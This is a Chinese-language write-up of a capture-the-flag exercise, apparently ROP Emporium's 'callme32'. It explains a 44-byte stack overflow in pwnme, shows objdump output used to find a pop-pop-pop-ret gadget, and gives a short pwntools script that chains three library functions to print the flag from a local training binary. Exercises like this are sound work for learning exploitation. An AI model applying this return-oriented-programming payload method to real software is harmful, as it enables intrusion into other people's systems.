首先发现在pwnme函数中有一个明显的缓冲区溢出,长度为40,经调试发现填入44长度的垃圾信息即可填入shellcode
ida发现一个重要函数如下:
点入后发现这三个函数为系统级调用。正好题目给了我们一个.so文件。进入查看,发现有这三个函数的反编译。依次是将加密后的flag通过key1,key2解密。调用顺序应该是callme_one -> callme_two -> callme_three
因此我的目标很明显:在栈中依次写入这几个函数的地址和其参数,然后依次调用即可。
注意在栈中,payload的排布规律为:函数地址 -> 函数返回地址 -> 函数参数
这是callme_one 函数的内容,其他两个函数与这个函数的结构类似。并且正确调用要求的参数都是1,2,3。
为了平衡堆栈,在函数调用完毕时,需要将这三个参数从栈中弹出,因此需要三个pop和一个ret的ROP。
supergate@ubuntu:~/Desktop/task1$ objdump -d callme32 | grep -A 3 pop
8048579: 5b pop %ebx
804857a: c3 ret
Disassembly of section .plt:
--
8048642: 5e pop %esi
8048643: 89 e1 mov %esp,%ecx
8048645: 83 e4 f0 and $0xfffffff0,%esp
8048648: 50 push %eax
--
80488a8: 5b pop %ebx
80488a9: 5e pop %esi
80488aa: 5f pop %edi
80488ab: 5d pop %ebp
80488ac: c3 ret
80488ad: 8d 76 00 lea 0x0(%esi),%esi
--
80488c6: 5b pop %ebx
80488c7: c3 ret
发现从地址 0x80488a9 开始调用即可。
因此exp如下:
from pwn import *
p=process("./callme32")
payload='A'*44
payload+=p32(0x80485c0)+p32(0x80488a9)+p32(1)+p32(2)+p32(3)
payload+=p32(0x8048620)+p32(0x80488a9)+p32(1)+p32(2)+p32(3)
payload+=p32(0x80485b0)+p32(0x80488a9)+p32(1)+p32(2)+p32(3)
p.sendline(payload)
p.interactive()
得到flag